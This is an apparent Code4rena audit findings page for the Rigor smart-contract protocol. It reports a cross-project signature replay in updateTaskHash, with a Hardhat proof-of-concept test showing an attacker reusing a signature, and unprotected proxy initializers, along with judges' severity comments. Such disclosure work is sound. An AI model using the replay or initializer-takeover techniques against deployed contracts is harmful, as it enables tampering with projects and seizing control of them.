Platform: Code4rena
Start Date: 01/08/2022
Pot Size: $50,000 USDC
Total HM: 26
Participants: 133
Period: 5 days
Judge: Jack the Pug
Total Solo HM: 6
Id: 151
League: ETH
Rank: 20/133
Findings: 2
Award: $571.40
π Selected for report: 1
π Solo Findings: 0
π Selected for report: MEP
Also found by: Haipls, byndooa, minhquanym
285.6964 USDC - $285.70
According to documentation project task hash is used for fetching correct data about task details from IPFS . As a result atacker can change document to another document with another task description
This issue works because:
In next situation when Builder/Contractor create and use signature (next Sig1) for update task hash (next T1) for project (next P1), this Sig1 can be use in another project (next P2) for update task hash in next cases:
Case 1:
P1 haven't contractor
P2 haven't contractor
P1 & P2 have the same builder
P1 & P2 have equal nonce (variable hashChangeNonce
have the equal value)
P1 & P2 have task with the same task id
Case 2:
P1 have contractor (next C1)
P2 have contractor C1
P1 & P2 have equal nonce (variable hashChangeNonce
have the equal value)
P1 & P2 have task with the same task id
Variable contractorDelegated have positve (true) value
Then C1 send Sig1 for update T1 to P1 call updateTaskHash
Attacker send Sig1 for update task to P2 call updateTaskHash
Case 3: It's the work also when Project have contractor and contractorDelegated value is false
Next test which check this issue: Next test was add to projectTests.ts in L:96
it('One builder adds task on two projects', async () => { const hashArray = ['0x']; const costArray = [taskCost]; taskList.push(taskCost); const data = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray, costArray, await project.taskCount(), project.address, ], }; const [encodedData, signature] = await multisig(data, [signers[0]]); const tx = await project.addTasks(encodedData, signature); await expect(tx) .to.emit(project, 'TasksAdded') .withArgs(costArray, hashArray); expect(await project.taskCount()).to.equal(1); const { cost, subcontractor, state } = await project.getTask(1); expect(cost).to.equal(costArray[0]); expect(subcontractor).to.equal(ethers.constants.AddressZero); expect(state).to.equal(1); const hashArray2 = ['0x00']; const data2 = { types: ['bytes[]', 'uint256[]', 'uint256', 'address'], values: [ hashArray2, costArray, await project2.taskCount(), project2.address, ], }; const [encodedData2, signature2] = await multisig(data2, [signers[0]]); const tx2 = await project2.addTasks(encodedData2, signature2); await expect(tx2) .to.emit(project2, 'TasksAdded') .withArgs(costArray, hashArray2); expect(await project2.taskCount()).to.equal(1); }); it('Atacker able to update task hash by using signature and data from another project with the same builder', async () => { const hashChangeNonce = (await project.hashChangeNonce()).toNumber(); const taskID = 1; const modifiedSampleBytes = '0x12'; const data = { types: ['bytes', 'uint256', 'uint256'], values: [modifiedSampleBytes, hashChangeNonce, taskID], }; const [encodedData, signature] = await multisig(data, [signers[0]]); const tx = await project.updateTaskHash(encodedData, signature); await expect(tx) .to.emit(project, 'TaskHashUpdated') .withArgs(taskID, modifiedSampleBytes); expect(await project.hashChangeNonce()).to.equal(hashChangeNonce + 1); const tx2 = await project2.connect(signers[3]).updateTaskHash(encodedData, signature); await expect(tx2) .to.emit(project2, 'TaskHashUpdated') .withArgs(taskID, modifiedSampleBytes); expect(await project2.hashChangeNonce()).to.equal(hashChangeNonce + 1); });
Add project address to signature data and add require for check project address is corectly to updateTaskHash method example
#0 - zgorizzo69
2022-08-08T18:01:39Z
duplicate #30
#1 - jack-the-pug
2022-08-27T06:12:57Z
Will downgrade to Medium as this is a malfunctioning feature rather than funds directly at risk.
#2 - parv3213
2022-09-01T08:41:25Z
@jack-the-pug this is a dupe of https://github.com/code-423n4/2022-08-rigor-findings/issues/347
285.6964 USDC - $285.70
https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFiProxy.sol#L216-L230 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L102-L119 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/DebtToken.sol#L43-L58 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L74-L81 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L92-L120 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L94-L105 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L45-L55
All next Impact depends on actions and attention from developers when deployed
For a proper understanding of Proof of Concept, you need to understand the following things:
Reason:
During deploy TransparentUpgradeableProxy's initialize method for initializing contracts not called. The third parameter responsible for this is an empty string. This causes the initialization process itself to be delayed
Contract initialization methods have no check over who calls them Example ProjectFactory.sol#L45-L55
**Also suitable for other contracts, strings are attached in Links to affected code **
Example of exploiting the vulnerability Failure of the protocol, with the need for redeploy && Loss of control over protocol elements (some smart contracts) :
Example of exploiting the vulnerability Loss of funds:
Carry out checks at the initialization stage or redesign the deployment process with the initialization of contracts during deployment
#0 - zgorizzo69
2022-08-08T13:48:35Z
about the reasons
_data
as explained in {ERC1967Proxy-constructor}#1 - jack-the-pug
2022-08-27T04:43:31Z
Valid, but gonna downgrade it to Medium as the impact is not that severe in practice.
Btw, in response to the response about the 2nd reason:
Contract initialization methods have no check over who calls them. incorrect modifiers check that addresses are not address(0)
"no check over who calls them" means no access control. It can be called by anyone. It's not about the input validation